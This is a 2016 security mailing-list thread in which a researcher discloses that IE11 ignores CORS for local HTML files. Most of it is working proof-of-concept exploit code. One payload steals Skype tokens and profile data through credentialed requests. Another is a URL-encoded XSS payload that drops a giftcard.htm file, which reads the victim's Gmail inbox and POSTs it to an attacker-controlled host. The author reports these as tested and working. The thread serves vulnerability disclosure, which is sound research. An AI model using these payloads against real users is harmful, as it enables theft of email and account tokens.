Re: IE11 is not following CORS specification for local files
Ricardo Iramar dos Santos <[email protected]> Fri, 7 Oct 2016 17:09:47 -0300
| Newsgroups | gmane.comp.security.web-applications |
|---|---|
| Message-ID | <CAE5Wca38kMhsbSqrO9gvxNV0EY8d-ddyW9iYTW7LeSawXPTNYA@mail.gmail.com> |
Same attack using XSS as vector. Imagine that https://xss-doc.appspot.com is a site about gift cards. The XSS payload below will create a giftcard.htm file in the default download folder. If the victim open the file a GET to https://mail.google.com/mail/u/0/#inbox will be submitted. After the GET the file will perform a POST to http://192.168.1.36/req.php using the GET response as a body. An attacker would be able to read all the emails in the following requests. I tested on Win7SP1 and IE11 with all patches and it worked. https://xss-doc.appspot.com/demo/2?query=3D%3Cscript%3Eif%28typeof+Blob+%21= %3D%3D+%22undefined%22%29%7BdemoBlobs%28%29%3B%7Dfunction+demoBlobs%28%29%7= Bvar+blob+%3D+new+Blob%28%5B%22%3Chtml%3E%3Cbody+onload%3D%5C%22go%28%29%5C= %22%3E%3Cscript%3Efunction+req%28mtd%2Curl%2Cbdy%29%7Bvar+xhr%3Dnew+XMLHttp= Request%28%29%3Bxhr.open%28mtd%2Curl%2Cfalse%29%3Bxhr.send%28bdy%29%3Bretur= n+xhr.responseText%3B%7D%3Bfunction+go%28%29%7Bvar+gmail%3Dreq%28%5C%22GET%= 5C%22%2C%5C%22https%3A%5C%2F%5C%2Fmail.google.com%5C%2Fmail%5C%2Fu%5C%2F0%5= C%2F%23inbox%5C%22%2Cnull%29%3Breq%28%5C%22POST%5C%22%2C%5C%22http%3A%5C%2F= %5C%2F192.168.1.36%5C%2Freq.php%5C%22%2Cgmail%29%7D%3B%3C%5C%2Fscript%3E%3C= %5C%2Fbody%3E%3C%5C%2Fhtml%3E%22%5D%29%3B+++window.navigator.msSaveBlob%28b= lob%2C+%27giftcard.htm%27%29%3B%7D%3C%2Fscript%3E On Wed, Oct 5, 2016 at 4:54 PM, Ricardo Iramar dos Santos <[email protected]> wrote: > I did a small improvement in this attack. > Using IE File API > (https://msdn.microsoft.com/en-us/library/hh772315(v=3Dvs.85).aspx) an > attacker would be able to create a web page with the content below and > send to a victim. > A local file with the same content that I sent previously would be > created on download default folder. > If the victim perform the three following clicks (Save, Open and Allow > blocked content) an attacker would be able to perform any request to > any domain and send the content to a domain which he/she has control. > If the attacker is a MitM position this could be more intersting. > Since the attacker could inject this content in a HTTP page and the > victim will tend to relay on that. > Next step would be force the victim to click on Save, Open and Allow > blocked content buttons. > > <html> > <body> > <h1>Saving Files Locally</h1> > <script> > if (typeof Blob !=3D=3D "undefined") { > demoBlobs(); > } > function demoBlobs(){ > var blob =3D new Blob(["<html><script>function > createCORSRequest(method, url) { var xhr =3D new XMLHttpRequest(); if > (\"withCredentials\" in xhr) { xhr.open(method, url, true); } else > if (typeof XDomainRequest !=3D \"undefined\") { xhr =3D new > XDomainRequest(); xhr.open(method, url); } else { xhr =3D null; > } return xhr;}function getClientID(text) { return > text.match('client_id:\"([^\"]*)\",redirect_uri')[1];}function > getToken(text) { return text.match('<input type=3D\"hidden\" > name=3D\"skypetoken\" value=3D\"([^\"]*)\"\/>')[1];}function > makeCorsRequest() { var url0 =3D > 'https:\/\/s4w.cdn.skype.com\/0-224-0\/js\/index.js'; var xhr0 =3D > createCORSRequest('GET', url0 ); if (!xhr0) {alert('CORS not > supported');return; } xhr0.withCredentials =3D true; xhr0.onload =3D > function() {var text0 =3D xhr0.responseText;var clientid =3D > getClientID(text0);alert('Client ID: ' + clientid); var url1 =3D > 'https:\/\/login.skype.com\/login?client_id=3D'+clientid+'&redirect_uri= =3Dhttps%3A%2F%2Fweb.skype.com%2F%3Fintcmp%3Daccountweb-_-uktrybeta'; > var xhr1 =3D createCORSRequest('GET', url1); if (!xhr1) {alert('CORS > not supported');return; } xhr1.withCredentials =3D true; xhr1.onload > =3D function() {var text1 =3D xhr1.responseText;var token =3D > getToken(text1);alert('Skype Token: ' + token); var url2 =3D > 'https:\/\/api.skype.com\/users\/self\/profile'; var xhr2 =3D > createCORSRequest('GET', url2); if (!xhr2) {alert('CORS not > supported');return; } xhr2.withCredentials =3D true; > xhr2.setRequestHeader(\"X-Skypetoken\", token); xhr2.onload =3D > function() {var text2 =3D xhr2.responseText;alert('User Profile: ' + > text2); }; xhr2.onerror =3D function() {alert('Woops, there was an > error making the request.'); }; xhr2.send(); }; xhr1.onerror =3D > function() {alert('Woops, there was an error making the request.'); > }; xhr1.send(); }; xhr0.onerror =3D function() {alert('Woops, there > was an error making the request.'); }; xhr0.send();}<\/script><body > onload=3D\"makeCorsRequest()\"><\/body><\/html>"]); > window.navigator.msSaveBlob(blob, 'testFile.htm'); > } > </script> > </body> > </html> > > On Wed, Sep 21, 2016 at 10:10 PM, Ricardo Iramar dos Santos > <[email protected]> wrote: >> IE11 is not following CORS specification for local files like Chrome >> and Firefox. >> I've contacted Microsoft and they say this is not a security issue so >> I'm sharing it. >> From my tests IE11 is not following CORS specifications for local >> files as supposed to be. >> In order to prove I've created a malicious html file with the content be= low. >> >> <html> >> <script> >> function createCORSRequest(method, url) { >> var xhr =3D new XMLHttpRequest(); >> if ("withCredentials" in xhr) { >> xhr.open(method, url, true); >> } else if (typeof XDomainRequest !=3D "undefined") { >> xhr =3D new XDomainRequest(); >> xhr.open(method, url); >> } else { >> xhr =3D null; >> } >> return xhr; >> } >> >> function getClientID(text) { >> return text.match('client_id:"([^"]*)",redirect_uri')[1]; >> } >> >> function getToken(text) { >> return text.match('<input type=3D"hidden" name=3D"skypetoken" >> value=3D"([^"]*)"/>')[1]; >> } >> >> function makeCorsRequest() { >> >> var url0 =3D 'https://s4w.cdn.skype.com/0-224-0/js/index.js'; >> >> var xhr0 =3D createCORSRequest('GET', url0 ); >> if (!xhr0) { >> alert('CORS not supported'); >> return; >> } >> >> xhr0.withCredentials =3D true; >> >> xhr0.onload =3D function() { >> var text0 =3D xhr0.responseText; >> var clientid =3D getClientID(text0); >> alert('Client ID: ' + clientid); >> >> var url1 =3D 'https://login.skype.com/login?client_id=3D'+clientid+'&r= edirect_uri=3Dhttps%3A%2F%2Fweb.skype.com%2F%3Fintcmp%3Daccountweb-_-uktryb= eta'; >> >> var xhr1 =3D createCORSRequest('GET', url1); >> if (!xhr1) { >> alert('CORS not supported'); >> return; >> } >> >> xhr1.withCredentials =3D true; >> >> xhr1.onload =3D function() { >> var text1 =3D xhr1.responseText; >> var token =3D getToken(text1); >> alert('Skype Token: ' + token); >> var url2 =3D 'https://api.skype.com/users/self/profile'; >> >> var xhr2 =3D createCORSRequest('GET', url2); >> if (!xhr2) { >> alert('CORS not supported'); >> return; >> } >> >> xhr2.withCredentials =3D true; >> xhr2.setRequestHeader("X-Skypetoken", token); >> >> xhr2.onload =3D function() { >> var text2 =3D xhr2.responseText; >> alert('User Profile: ' + text2); >> }; >> >> xhr2.onerror =3D function() { >> alert('Woops, there was an error making the request.'); >> }; >> >> xhr2.send(); >> }; >> >> xhr1.onerror =3D function() { >> alert('Woops, there was an error making the request.'); >> }; >> >> xhr1.send(); >> }; >> >> xhr0.onerror =3D function() { >> alert('Woops, there was an error making the request.'); >> }; >> >> xhr0.send(); >> >> } >> </script> >> <body> >> <button onclick=3D"makeCorsRequest()">Click me</button> >> </body> >> </html> >> >> The file above will be able to get an skype token and perform get on >> the user profile. Instead of using alert() function I could send this >> information to a domain that I have control. >> Of course the victim needs to open the file from his local drive or >> maybe another application can open an IE instance. >> If the user is logged on a Microsoft account and open the html file >> with the content above with onload function instead of onclick I'd be >> able to get his profile data. >> This is a simple scenario. An attacker would be able to get any data >> from any domain that do not require a unique ID (e.g. CSRF token) >> which the attacker doesn't have and is unable to get. >> If you do the same test on Chrome or Firefox the browser will follow >> CORS specification and block the response content since no CORS >> headers is present in the response. >> I tested on IE11 running on Win7SP1 with all security patches and it >> worked. On Win10 didn't work. I didn't test in any server with CORS >> enabled. >> If you think in another malicious scenario please let me know. >> >> Thanks! >> Ricardo Iramar This list is sponsored by Cenzic -------------------------------------- Let Us Hack You. Before Hackers Do! It's Finally Here - The Cenzic Website HealthCheck. FREE. Request Yours Now! http://www.cenzic.com/2009HClaunch_Securityfocus --------------------------------------